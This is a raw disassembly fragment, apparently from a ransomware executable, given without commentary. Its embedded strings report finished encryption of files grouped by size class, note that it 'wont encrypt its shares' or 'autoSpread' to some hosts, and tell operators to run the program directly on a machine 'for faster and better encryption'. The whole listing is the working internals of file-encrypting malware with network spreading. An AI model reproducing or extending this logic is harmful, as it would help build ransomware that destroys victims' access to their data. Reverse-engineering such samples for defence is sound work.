mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0xa
mov byte [rsp + 0x28], 4
lea rdx, [rsp + 0x220]
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0x220], 1
je 0x140039e60
mov rcx, qword [rsp + 0x230]
call fcn.140073240
lea rdx, str.finished_encrypting_lrgmkvs_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x140039e90
mov rcx, qword [rsp + 0x90]
jmp 0x140039e98
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x140039eb6
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rdi, qword [rsp + 0x150]
jmp 0x140039ec4
mov rdi, qword [rdi + 8]
cmp rdi, r13
je 0x140039efa
mov rcx, qword [rdi + 0x10]
call fcn.14009c250
test al, al
jne 0x140039edf
mov rcx, qword [rdi + 0x10]
call fcn.140077dc0
mov rsi, qword [rdi + 0x10]
test rsi, rsi
je 0x140039ec0
mov rcx, rsi
call fcn.140077da0
mov rcx, rsi
call fcn.140073240
jmp 0x140039ec0
cmp qword [rsp + 0x158], 0
je 0x140039f51
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [r8 + 8], rdx
mov rax, qword [rax + 8]
mov qword [rax], r8
mov qword [rsp + 0x158], 0
cmp rcx, r13
je 0x140039f51
nop dword [rax + rax]
mov rsi, qword [rcx + 8]
call fcn.140073240
mov rcx, rsi
cmp rsi, r13
jne 0x140039f40
mov rax, qword [0x1402da2e0]
mov rdi, qword [rax + rbp*8]
lea rcx, [rsp + 0x338]
lea rdx, [rsp + 0xc0]
call fcn.140075840
add rdi, 0x18
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 1
lea rdx, [rsp + 0x338]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0x338], 1
je 0x140039fdd
mov rcx, qword [rsp + 0x348]
call fcn.140073240
lea rdx, str.finished_encrypting_normalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a00d
mov rcx, qword [rsp + 0x90]
jmp 0x14003a015
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a033
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rdi, qword [rax + rbp*8]
lea rcx, [rsp + 0x320]
lea rdx, [rsp + 0xc0]
call fcn.140075840
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0x320]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0x320], 1
je 0x14003a0bb
mov rcx, qword [rsp + 0x330]
call fcn.140073240
lea rdx, str.finished_encrypting_smalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a0eb
mov rcx, qword [rsp + 0x90]
jmp 0x14003a0f3
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a111
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rdi, qword [rax + rbp*8]
lea rcx, [rsp + 0x308]
lea rdx, [rsp + 0xc0]
call fcn.140075840
add rdi, 0x78
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 5
lea rdx, [rsp + 0x308]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0x308], 1
mov rbp, qword [rsp + 0x108]
je 0x14003a1a5
mov rcx, qword [rsp + 0x318]
call fcn.140073240
lea rdx, str.finished_encrypting_defereds_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a1d5
mov rcx, qword [rsp + 0x90]
jmp 0x14003a1dd
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
jmp 0x14003a6b1
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a20f
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rdi, qword [rax + rsi*8]
lea rcx, [rsp + 0x2d8]
lea rdx, [rsp + 0xc0]
call fcn.140075840
add rdi, 0x18
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0x1f4
mov byte [rsp + 0x28], 1
lea rdx, [rsp + 0x2d8]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0x2d8], 1
je 0x14003a29b
mov rcx, qword [rsp + 0x2e8]
call fcn.140073240
lea rdx, str.finished_encrypting_normalls_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
mov rbp, qword [rsp + 0x108]
je 0x14003a2d3
mov rcx, qword [rsp + 0x90]
jmp 0x14003a2db
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a2f9
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rcx, qword [rax + rsi*8]
add rcx, 0x30
mov byte [rsp + 0x208], 0xc
movabs rdi, 0x6700720061006c
mov qword [rsp + 0x20a], rdi
mov dword [rsp + 0x212], 0x730065
mov word [rsp + 0x216], 0
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 2
lea rdx, [rsp + 0x208]
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0x208], 1
je 0x14003a39f
mov rcx, qword [rsp + 0x218]
call fcn.140073240
lea rdx, str.finished_encrypting_larges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a3cf
mov rcx, qword [rsp + 0x90]
jmp 0x14003a3d7
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a3f5
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rcx, qword [rax + rsi*8]
add rcx, 0x48
mov byte [rsp + 0x1f0], 0xc
mov qword [rsp + 0x1f2], rdi
mov dword [rsp + 0x1fa], 0x730065
mov word [rsp + 0x1fe], 0
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 3
lea rdx, [rsp + 0x1f0]
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0x1f0], 1
je 0x14003a491
mov rcx, qword [rsp + 0x200]
call fcn.140073240
lea rdx, str.finished_encrypting_vlrges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a4c1
mov rcx, qword [rsp + 0x90]
jmp 0x14003a4c9
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a4e7
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rcx, qword [rax + rsi*8]
add rcx, 0x60
mov byte [rsp + 0x1d8], 0xc
mov qword [rsp + 0x1da], rdi
mov dword [rsp + 0x1e2], 0x730065
mov word [rsp + 0x1e6], 0
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0xa
mov byte [rsp + 0x28], 4
lea rdx, [rsp + 0x1d8]
mov r9d, 1
call fcn.14001a190
test byte [rsp + 0x1d8], 1
je 0x14003a583
mov rcx, qword [rsp + 0x1e8]
call fcn.140073240
lea rdx, str.finished_encrypting_lrgmkvs_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a5b3
mov rcx, qword [rsp + 0x90]
jmp 0x14003a5bb
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a5d9
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [0x1402da2e0]
mov rcx, qword [rax + rsi*8]
add rcx, 0x78
mov byte [rsp + 0x1c0], 0xc
mov qword [rsp + 0x1c2], rdi
mov dword [rsp + 0x1ca], 0x730065
mov word [rsp + 0x1ce], 0
mov r8d, dword [0x14029c048]
movsxd rax, dword [0x14029c050]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 0xa
mov byte [rsp + 0x28], 5
lea rdx, [rsp + 0x1c0]
xor r9d, r9d
call fcn.14001a190
test byte [rsp + 0x1c0], 1
je 0x14003a672
mov rcx, qword [rsp + 0x1d0]
call fcn.140073240
lea rdx, str.finished_encrypting_defered_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013830
test byte [rsp + 0x80], 1
je 0x14003a6a2
mov rcx, qword [rsp + 0x90]
jmp 0x14003a6aa
lea rcx, [rsp + 0x82]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0x80], 1
je 0x14003a6c8
mov rcx, qword [rsp + 0x90]
call fcn.140073240
mov rax, qword [rbp + 0x50]
lock inc dword [rax]
test byte [rsp + 0xc0], 1
je 0x14003a6e6
mov rcx, qword [rsp + 0xd0]
call fcn.140073240
cmp qword [rsp + 0x158], 0
je 0x14003a741
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [r8 + 8], rdx
mov rax, qword [rax + 8]
mov qword [rax], r8
mov qword [rsp + 0x158], 0
cmp rcx, r13
je 0x14003a741
nop word cs:[rax + rax]
mov rsi, qword [rcx + 8]
call fcn.140073240
mov rcx, rsi
cmp rsi, r13
jne 0x14003a730
movaps xmm6, xmmword [rsp + 0x3d0]
movaps xmm7, xmmword [rsp + 0x3e0]
movaps xmm8, xmmword [rsp + 0x3f0]
movaps xmm9, xmmword [rsp + 0x400]
movaps xmm10, xmmword [rsp + 0x410]
movaps xmm11, xmmword [rsp + 0x420]
movaps xmm12, xmmword [rsp + 0x430]
add rsp, 0x448
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [0x14025e4a0]
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x100]
call fcn.140013830
lea rdx, str.wont_encrypt_its_shares
lea rcx, [rsp + 0x60]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xf0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
je 0x14003a7f6
mov rcx, qword [rsp + 0x70]
call fcn.140073240
cmp byte [0x1402d721c], 0
je 0x14003a813
lea rdx, str._and_wont_autoSpread_to_it
lea rcx, [rsp + 0xe0]
call fcn.140076360
test byte [rsp + 0xe0], 1
je 0x14003a840
mov rcx, qword [rsp + 0xf0]
jmp 0x14003a848
mov r15, qword [rsp + 0x100]
movzx r14d, byte [r15]
mov eax, r14d
and al, 1
je 0x14003a854
mov r14, qword [r15 + 8]
jmp 0x14003a857
lea rcx, [rsp + 0xe2]
mov dl, 1
call fcn.140011c60
jmp 0x14003a946
shr r14, 1
lea rdi, [r14 + 0x9a]
movabs rcx, 0x7fffffffffffffef
cmp rdi, rcx
ja 0x14003aa2d
cmp rdi, 0xa
ja 0x14003a89f
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], 0
add dil, dil
mov byte [rsp + 0xe0], dil
xor esi, esi
jmp 0x14003a8df
mov rbx, rdi
or rbx, 7
inc rbx
js 0x14003aa4c
lea rcx, [rbx + rbx]
call fcn.1400731c0
mov rsi, rax
or rbx, 1
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xe8], rdi
movzx eax, byte [r15]
and al, 1
mov edi, ebx
test dil, 1
lea rdi, [rsp + 0xe2]
cmove rsi, rdi
test al, al
je 0x14003a8f7
mov rbp, qword [r15 + 0x10]
lea rbx, [rsi + r14*2]
lea r8, [r14 + r14]
mov rcx, rsi
mov rdx, rbp
call sub.msvcrt.dll_memmove
lea rdx, str._has_admin_access__not_encrypting_admin_netwroks_is_enabled_this_ip_wont_be_encrypted_connect_and_run_app_in_it_directly_for_faster_and_better_encryption
mov r8d, 0x134
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov word [rsi + r14*2 + 0x134], 0
test byte [rsp + 0xe0], 1
je 0x14003a93c
mov rdi, qword [rsp + 0xf0]
mov rcx, rdi
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xe0], 1
je 0x14003a95d
mov rcx, qword [rsp + 0xf0]
call fcn.140073240
test byte [rsp + 0x80], 1
je 0x14003a6cf
mov rcx, qword [rsp + 0x90]
call fcn.140073240
jmp 0x14003a6cf
lea rcx, [rsp + 0x80]
call fcn.140002b00
call fcn.140002ba0
lea rcx, [rsp + 0x60]
call fcn.140002b00
mov rcx, r14
call fcn.14003b980
lea rcx, [rsp + 0xe0]
call fcn.140002b00
call fcn.140002ba0
lea rcx, [rsp + 0xa0]
call fcn.140002b00
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
lea rcx, [rsp + 0x1a0]
call fcn.140002b00
lea rcx, [rsp + 0xa0]
call fcn.140002b00
lea rcx, [rsp + 0xa0]
call fcn.140002b00
lea rcx, [rsp + 0x60]
call fcn.140002b00
lea rcx, [rsp + 0x60]
call fcn.140002b00
call fcn.140002ba0
lea rcx, [rsp + 0x60]
call fcn.140002b00
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
lea rcx, [rsp + 0xe0]
call fcn.140002b00
call fcn.140002ba0
lea rcx, [rsp + 0x110]
call fcn.140035730
call fcn.140002ba0
jmp 0x14003aa8b
mov rsi, rax
test byte [rsp + 0x60], 1
je 0x14003b087
mov rcx, qword [rsp + 0x70]
jmp 0x14003b030
call fcn.140073240
jmp 0x14003b087
test byte [rsp + 0xa0], 1
je 0x14003b09e
mov rcx, qword [rsp + 0xb0]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x14003b0bc
mov rcx, qword [rsp + 0x120]
call fcn.140073240
jmp 0x14003b0bc
test byte [rsp + 0xe0], 1
je 0x14003b1c4
mov rcx, qword [rsp + 0xf0]
call fcn.140073240
jmp 0x14003b1c4
test byte [rsp + 0x80], 1
je 0x14003b2c5
mov rcx, qword [rsp + 0x90]
call fcn.140073240
jmp 0x14003b2c5
test byte [rsp + 0xc0], 1
je 0x14003b2dc
mov rcx, qword [rsp + 0xd0]
call fcn.140073240
lea rcx, [rsp + 0x148]
call fcn.14003b920
mov rcx, rsi
call fcn.14009d370
int3